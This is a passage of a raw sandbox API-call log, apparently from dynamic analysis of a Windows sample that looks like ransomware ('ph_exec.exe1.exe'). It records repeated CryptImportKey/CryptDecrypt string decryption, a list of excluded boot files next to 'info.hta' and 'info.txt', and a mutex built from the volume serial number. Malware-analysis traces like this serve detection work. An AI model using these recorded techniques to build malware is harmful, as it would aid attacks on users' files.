CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f82c0, pdwDataLen=0xaff868 | out: pbData=0x6f82c0, pdwDataLen=0xaff868) returned 1 [0161.249] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0161.249] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1490 [0161.249] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff824, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff88c | out: phKey=0xaff88c*=0x1b8f08) returned 1 [0161.249] CryptSetKeyParam (hKey=0x1b8f08, dwParam=0x1, pbData=0xaff874, dwFlags=0x0) returned 1 [0161.249] CryptDecrypt (in: hKey=0x1b8f08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1490, pdwDataLen=0xaff840 | out: pbData=0x6f1490, pdwDataLen=0xaff840) returned 1 [0161.249] CryptDestroyKey (hKey=0x1b8f08) returned 1 [0161.249] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x84) returned 0x6f7f58 [0161.249] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x84) returned 0x6f96f8 [0161.249] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f7fe8 [0161.249] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff7fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff864 | out: phKey=0xaff864*=0x1b90c8) returned 1 [0161.249] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff84c, dwFlags=0x0) returned 1 [0161.249] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f7fe8, pdwDataLen=0xaff818 | out: pbData=0x6f7fe8, pdwDataLen=0xaff818) returned 1 [0161.249] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0161.249] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f7fe8 | out: hHeap=0x6f0000) returned 1 [0161.249] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x6f7f58, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0161.249] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f96f8 | out: hHeap=0x6f0000) returned 1 [0161.249] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1490 | out: hHeap=0x6f0000) returned 1 [0161.249] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f0550 [0161.249] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff820, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff888 | out: phKey=0xaff888*=0x1b8e88) returned 1 [0161.249] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0xaff870, dwFlags=0x0) returned 1 [0161.249] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f0550, pdwDataLen=0xaff83c | out: pbData=0x6f0550, pdwDataLen=0xaff83c) returned 1 [0161.249] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0161.249] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x18) returned 0x6f10b0 [0161.249] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x18) returned 0x6f0578 [0161.249] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1490 [0161.250] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff7f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff860 | out: phKey=0xaff860*=0x1b8e88) returned 1 [0161.250] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0xaff848, dwFlags=0x0) returned 1 [0161.250] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1490, pdwDataLen=0xaff814 | out: pbData=0x6f1490, pdwDataLen=0xaff814) returned 1 [0161.250] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0161.250] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1490 | out: hHeap=0x6f0000) returned 1 [0161.250] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x6f10b0, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0161.250] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f0578 | out: hHeap=0x6f0000) returned 1 [0161.250] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f0550 | out: hHeap=0x6f0000) returned 1 [0161.250] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20a) returned 0x6fa258 [0161.250] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20a) returned 0x6fa470 [0161.250] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6fa470, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0161.250] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fa470 | out: hHeap=0x6f0000) returned 1 [0161.250] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0xb38) returned 0x6fa470 [0161.250] GetLastError () returned 0x0 [0161.250] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff97c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9e4 | out: phKey=0xaff9e4*=0x1b94c8) returned 1 [0161.250] CryptSetKeyParam (hKey=0x1b94c8, dwParam=0x1, pbData=0xaff9cc, dwFlags=0x0) returned 1 [0161.250] CryptDecrypt (in: hKey=0x1b94c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f0578, pdwDataLen=0xaff998 | out: pbData=0x6f0578, pdwDataLen=0xaff998) returned 1 [0161.250] CryptDestroyKey (hKey=0x1b94c8) returned 1 [0161.250] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f1038 [0161.250] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f1060 [0161.250] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f12b0 [0161.250] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff954, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9bc | out: phKey=0xaff9bc*=0x1b90c8) returned 1 [0161.250] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff9a4, dwFlags=0x0) returned 1 [0161.250] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f12b0, pdwDataLen=0xaff970 | out: pbData=0x6f12b0, pdwDataLen=0xaff970) returned 1 [0161.250] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0161.250] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12b0 | out: hHeap=0x6f0000) returned 1 [0161.250] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f1038, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0161.250] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1060 | out: hHeap=0x6f0000) returned 1 [0161.250] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f0578 | out: hHeap=0x6f0000) returned 1 [0161.250] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xaffa24, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xaffa24*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0161.251] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1038 | out: hHeap=0x6f0000) returned 1 [0161.251] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x28) returned 0x6f0578 [0161.251] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f8248 [0161.251] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff88c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8f4 | out: phKey=0xaff8f4*=0x1b90c8) returned 1 [0161.251] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff8dc, dwFlags=0x0) returned 1 [0161.251] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8248, pdwDataLen=0xaff8a8 | out: pbData=0x6f8248, pdwDataLen=0xaff8a8) returned 1 [0161.251] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0161.251] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f8278 [0161.251] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff884, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8ec | out: phKey=0xaff8ec*=0x1b90c8) returned 1 [0161.251] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff8d4, dwFlags=0x0) returned 1 [0161.251] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8278, pdwDataLen=0xaff8a0 | out: pbData=0x6f8278, pdwDataLen=0xaff8a0) returned 1 [0161.251] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0161.251] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f81b8 [0161.251] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff87c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8e4 | out: phKey=0xaff8e4*=0x1b94c8) returned 1 [0161.251] CryptSetKeyParam (hKey=0x1b94c8, dwParam=0x1, pbData=0xaff8cc, dwFlags=0x0) returned 1 [0161.251] CryptDecrypt (in: hKey=0x1b94c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f81b8, pdwDataLen=0xaff898 | out: pbData=0x6f81b8, pdwDataLen=0xaff898) returned 1 [0161.251] CryptDestroyKey (hKey=0x1b94c8) returned 1 [0161.251] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f8170 [0161.251] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff874, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8dc | out: phKey=0xaff8dc*=0x1b9288) returned 1 [0161.251] CryptSetKeyParam (hKey=0x1b9288, dwParam=0x1, pbData=0xaff8c4, dwFlags=0x0) returned 1 [0161.251] CryptDecrypt (in: hKey=0x1b9288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8170, pdwDataLen=0xaff890 | out: pbData=0x6f8170, pdwDataLen=0xaff890) returned 1 [0161.251] CryptDestroyKey (hKey=0x1b9288) returned 1 [0161.251] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1038 [0161.252] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff86c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8d4 | out: phKey=0xaff8d4*=0x1b90c8) returned 1 [0161.252] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff8bc, dwFlags=0x0) returned 1 [0161.252] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1038, pdwDataLen=0xaff888 | out: pbData=0x6f1038, pdwDataLen=0xaff888) returned 1 [0161.252] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0161.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f8140 [0161.252] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff864, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8cc | out: phKey=0xaff8cc*=0x1b90c8) returned 1 [0161.252] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff8b4, dwFlags=0x0) returned 1 [0161.252] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8140, pdwDataLen=0xaff880 | out: pbData=0x6f8140, pdwDataLen=0xaff880) returned 1 [0161.252] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0161.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x70) returned 0x6f12b0 [0161.252] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff85c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8c4 | out: phKey=0xaff8c4*=0x1b9288) returned 1 [0161.252] CryptSetKeyParam (hKey=0x1b9288, dwParam=0x1, pbData=0xaff8ac, dwFlags=0x0) returned 1 [0161.252] CryptDecrypt (in: hKey=0x1b9288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f12b0, pdwDataLen=0xaff878 | out: pbData=0x6f12b0, pdwDataLen=0xaff878) returned 1 [0161.252] CryptDestroyKey (hKey=0x1b9288) returned 1 [0161.252] htonl (hostlong=0xb4197730) returned 0x307719b4 [0161.252] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x20, pbBuffer=0xaff9b8 | out: pbBuffer=0xaff9b8) returned 1 [0161.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x28) returned 0x6f1328 [0161.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f8188 [0161.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x4) returned 0x6f1358 [0161.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x14) returned 0x6f1368 [0161.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f81d0 [0161.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x80) returned 0x6f7f58 [0161.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f81a0 [0161.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x82) returned 0x6f9668 [0161.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f81e8 [0161.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x4) returned 0x6fa330 [0161.252] CryptGenRandom (in: hProv=0x1b1d18, dwLen=0x55, pbBuffer=0xaff922 | out: pbBuffer=0xaff922) returned 1 [0161.252] GetLastError () returned 0x0 [0161.253] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff854, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8bc | out: phKey=0xaff8bc*=0x1b94c8) returned 1 [0161.253] CryptSetKeyParam (hKey=0x1b94c8, dwParam=0x1, pbData=0xaff8a4, dwFlags=0x0) returned 1 [0161.253] CryptDecrypt (in: hKey=0x1b94c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8708, pdwDataLen=0xaff870 | out: pbData=0x6f8708, pdwDataLen=0xaff870) returned 1 [0161.253] CryptDestroyKey (hKey=0x1b94c8) returned 1 [0161.253] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f8290 [0161.253] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff84c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8b4 | out: phKey=0xaff8b4*=0x1b8e88) returned 1 [0161.253] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0xaff89c, dwFlags=0x0) returned 1 [0161.253] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8290, pdwDataLen=0xaff868 | out: pbData=0x6f8290, pdwDataLen=0xaff868) returned 1 [0161.254] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0161.254] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1328 [0161.254] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff824, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff88c | out: phKey=0xaff88c*=0x1b90c8) returned 1 [0161.254] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff874, dwFlags=0x0) returned 1 [0161.254] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1328, pdwDataLen=0xaff840 | out: pbData=0x6f1328, pdwDataLen=0xaff840) returned 1 [0161.254] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0161.254] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x84) returned 0x6f99c8 [0161.254] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x84) returned 0x6f9548 [0161.254] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f4e48 [0161.254] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff7fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff864 | out: phKey=0xaff864*=0x1b90c8) returned 1 [0161.254] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff84c, dwFlags=0x0) returned 1 [0161.254] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4e48, pdwDataLen=0xaff818 | out: pbData=0x6f4e48, pdwDataLen=0xaff818) returned 1 [0161.254] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0161.254] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e48 | out: hHeap=0x6f0000) returned 1 [0161.254] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x6f99c8, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0161.254] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f9548 | out: hHeap=0x6f0000) returned 1 [0161.254] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1328 | out: hHeap=0x6f0000) returned 1 [0161.254] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f80d8 [0161.255] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff820, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff888 | out: phKey=0xaff888*=0x1b8e88) returned 1 [0161.255] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0xaff870, dwFlags=0x0) returned 1 [0161.255] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f80d8, pdwDataLen=0xaff83c | out: pbData=0x6f80d8, pdwDataLen=0xaff83c) returned 1 [0161.255] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0161.255] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x18) returned 0x6f1328 [0161.255] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x18) returned 0x6f1348 [0161.255] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f4e48 [0161.255] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff7f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff860 | out: phKey=0xaff860*=0x1b9208) returned 1 [0161.255] CryptSetKeyParam (hKey=0x1b9208, dwParam=0x1, pbData=0xaff848, dwFlags=0x0) returned 1 [0161.255] CryptDecrypt (in: hKey=0x1b9208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4e48, pdwDataLen=0xaff814 | out: pbData=0x6f4e48, pdwDataLen=0xaff814) returned 1 [0161.255] CryptDestroyKey (hKey=0x1b9208) returned 1 [0161.255] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e48 | out: hHeap=0x6f0000) returned 1 [0161.255] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x6f1328, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0161.255] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1348 | out: hHeap=0x6f0000) returned 1 [0161.255] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f80d8 | out: hHeap=0x6f0000) returned 1 [0161.255] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20a) returned 0x6fafc0 [0161.255] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20a) returned 0x6fb1d8 [0161.255] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6fb1d8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0161.255] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb1d8 | out: hHeap=0x6f0000) returned 1 [0161.255] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0xb38) returned 0x6fb1d8 [0161.255] GetLastError () returned 0x0 [0161.257] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0xffffffff) Thread: id = 83 os_tid = 0xfa4 Thread: id = 84 os_tid = 0xfa8 [0156.155] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f1070 [0156.155] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1b94c8) returned 1 [0156.155] CryptSetKeyParam (hKey=0x1b94c8, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0156.155] CryptDecrypt (in: hKey=0x1b94c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x225fc84 | out: pbData=0x6f1070, pdwDataLen=0x225fc84) returned 1 [0156.155] CryptDestroyKey (hKey=0x1b94c8) returned 1 [0156.155] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f1098 [0156.155] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f1200 [0156.155] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1228 [0156.155] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1b8f88) returned 1 [0156.155] CryptSetKeyParam (hKey=0x1b8f88, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0156.155] CryptDecrypt (in: hKey=0x1b8f88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1228, pdwDataLen=0x225fc5c | out: pbData=0x6f1228, pdwDataLen=0x225fc5c) returned 1 [0156.155] CryptDestroyKey (hKey=0x1b8f88) returned 1 [0156.155] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1228 | out: hHeap=0x6f0000) returned 1 [0156.155] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f1098, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0156.155] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1200 | out: hHeap=0x6f0000) returned 1 [0156.155] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0156.155] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0156.162] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1098 | out: hHeap=0x6f0000) returned 1 [0156.162] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6f1070 [0156.162] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1b9348) returned 1 [0156.162] CryptSetKeyParam (hKey=0x1b9348, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0156.162] CryptDecrypt (in: hKey=0x1b9348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x225fcb8 | out: pbData=0x6f1070, pdwDataLen=0x225fcb8) returned 1 [0156.162] CryptDestroyKey (hKey=0x1b9348) returned 1 [0156.162] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6f1200 [0156.162] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x224 [0156.162] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0156.162] CloseHandle (hObject=0x224) returned 1 [0156.162] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0156.162] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1200 | out: hHeap=0x6f0000) returned 1 [0156.162] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f1070 [0156.162] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1b8f88) returned 1 [0156.162] CryptSetKeyParam (hKey=0x1b8f88, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0156.162] CryptDecrypt (in: hKey=0x1b8f88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x225fc84 | out: pbData=0x6f1070, pdwDataLen=0x225fc84) returned 1 [0156.162] CryptDestroyKey (hKey=0x1b8f88) returned 1 [0156.163] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f1098 [0156.163] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f1200 [0156.163] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1228 [0156.163] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1b9388) returned 1 [0156.163] CryptSetKeyParam (hKey=0x1b9388, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0156.163] CryptDecrypt (in: hKey=0x1b9388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1228, pdwDataLen=0x225fc5c | out: pbData=0x6f1228, pdwDataLen=0x225fc5c) returned 1 [0156.163] CryptDestroyKey (hKey=0x1b9388) returned 1 [0156.163] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1228 | out: hHeap=0x6f0000) returned 1 [0156.163] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f1098, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0156.163] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1200 | out: hHeap=0x6f0000) returned 1 [0156.163] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0156.163] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0156.163] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1098 | out: hHeap=0x6f0000) returned 1 [0156.163] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6f1070 [0156.163] CryptImportKey 